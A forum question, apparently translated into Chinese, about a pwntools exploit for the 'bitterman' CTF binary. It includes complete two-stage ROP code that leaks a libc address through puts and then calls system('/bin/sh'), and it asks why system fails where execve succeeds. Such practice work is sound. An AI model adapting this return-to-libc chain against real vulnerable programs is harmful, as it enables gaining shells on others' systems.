我已经学习了一些关于pwntools为 CTF 比赛中使用的bitterman ELF 二进制文件编写基于漏洞的教程。但是,我所有的尝试都失败了,并显示以下消息,即Got EOF while reading in interactive在system("/bin/sh")使用简单的 ROP 链执行后:
nlykkei@ubuntu-dev:~$ python bitterman.py │ 27 p.recvuntil('Thanks!\n')
[+] Starting local process './bitterman': pid 6244 │ 28
[+] puts@glibc: 0x7fcbdc453010 │ 29 #puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
[+] offset: 0x7fcbdc3d2000 │ 30 puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
[*] Switching to interactive mode │ 31 log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
[*] Got EOF while reading in interactive │ 32
$ │ 33 #Stage 2
[*] Process './bitterman' stopped with exit code -11 (SIGSEGV) (pid 6244) │ 34 libc_puts = 0x81010
[*] Got EOF while sending in interactive
使用 GDB 跟踪漏洞利用后,我可以验证是否system("/bin/sh")通过clone返回有效子 PID的系统调用执行。然而,在clone系统调用之后什么也没有发生,父进程继续并崩溃(错误的返回地址)。
可能是什么问题呢?如果任何有经验的漏洞利用开发人员或 CTF 爱好者能够发现错误,我将不胜感激。
更新:
我刚刚重写了漏洞利用程序以使用execv前端进行execve系统调用,然后一切都按预期工作!(产生一个壳)
system(..)通过使用clone系统调用fork 一个孩子来工作,而execve替换整个过程。知道为什么system(..)方法不起作用吗?
https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman
https://www.youtube.com/watch?v=6S4A2nhHdWg
from pwn import *
#context(terminal=['tmux', 'new-window'])
p = process('./bitterman')
#p = gdb.debug('./bitterman', 'b main')
#context(os='linux', arch='amd64')
#context.log_level = 'DEBUG'
# Stage 1
main = p64(0x4006ec) #0x400550
plt_puts = p64(0x400520)
got_puts = p64(0x600c50)
pop_rdi = p64(0x400853)
junk = 152*"A"
payload = junk + pop_rdi + got_puts + plt_puts + main
p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!\n')
#puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
#Stage 2
libc_puts = 0x81010
libc_system = 0x50300
libc_sh = 0x1aae80
offset = u64(puts_addr) - libc_puts
log.success('offset: {}'.format(hex(offset)))
system_addr = p64(libc_system + offset)
sh_addr = p64(libc_sh + offset)
payload = junk + pop_rdi + sh_addr + system_addr
p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!')
p.clean()
p.interactive()